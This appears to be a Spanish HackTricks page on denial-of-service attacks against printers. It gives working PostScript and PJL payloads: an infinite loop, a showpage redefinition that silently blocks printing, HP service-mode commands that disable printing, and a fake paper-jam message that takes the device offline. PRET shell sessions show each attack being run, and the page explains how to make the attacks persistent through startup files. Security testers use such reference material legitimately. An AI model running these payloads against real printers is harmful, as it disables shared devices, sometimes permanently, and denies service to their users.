4.3 KiB
Lenguajes de descripción de página que permiten bucles infinitos o cálculos que requieren mucho tiempo de computación. Incluso lenguajes minimalistas como PCL se pueden utilizar para cargar macros o fuentes permanentes hasta que se consume la memoria disponible.
PostScript
Bucles infinitos
%!
{} loop
Usando PRET:
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> hang
Warning: This command causes an infinite loop rendering the
device useless until manual restart. Press CTRL+C to abort.
Executing PostScript infinite loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
Redefinir showpage
Al establecer showpage
- que se utiliza en cada documento para imprimir la página - para que no haga nada en absoluto, los trabajos de PostScript se procesan pero no se imprime nada.
true 0 startjob
/showpage {} def
Usando PRET:
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> disable
Disabling printing functionality
Ambos códigos de ataque también pueden ser escritos en archivos Sys/Start, startup.ps o similares para causar una DoS permanente en dispositivos con un disco grabable.
PJL
PJL jobmedia
Los comandos PJL propietarios pueden ser utilizados para poner en modo de servicio a dispositivos antiguos de HP como la serie LaserJet 4k y deshabilitar completamente toda la funcionalidad de impresión como se muestra a continuación:
@PJL SET SERVICEMODE=HPBOISEID
@PJL DEFAULT JOBMEDIA=OFF
Usando PRET:
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> disable
Printing functionality: OFF
Modo offline
Además, el estándar PJL define el comando OPMSG
que "solicita a la impresora que muestre un mensaje especificado y se desconecte" \cite{hp1997pjl}. Esto se puede utilizar para simular un atasco de papel como se muestra a continuación:
@PJL OPMSG DISPLAY="PAPER JAM IN ALL DOORS"
Usando PRET:
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> offline "MESSAGE TO DSIPLAY"
Warning: Taking the printer offline will prevent yourself and others
from printing or re-connecting to the device. Press CTRL+C to abort.
Taking printer offline in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
Obtén más información sobre estos ataques en http://hacking-printers.net/wiki/index.php/Document_processing
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
-
Descubre The PEASS Family, nuestra colección exclusiva de NFTs
-
Obtén el swag oficial de PEASS y HackTricks
-
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
-
Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.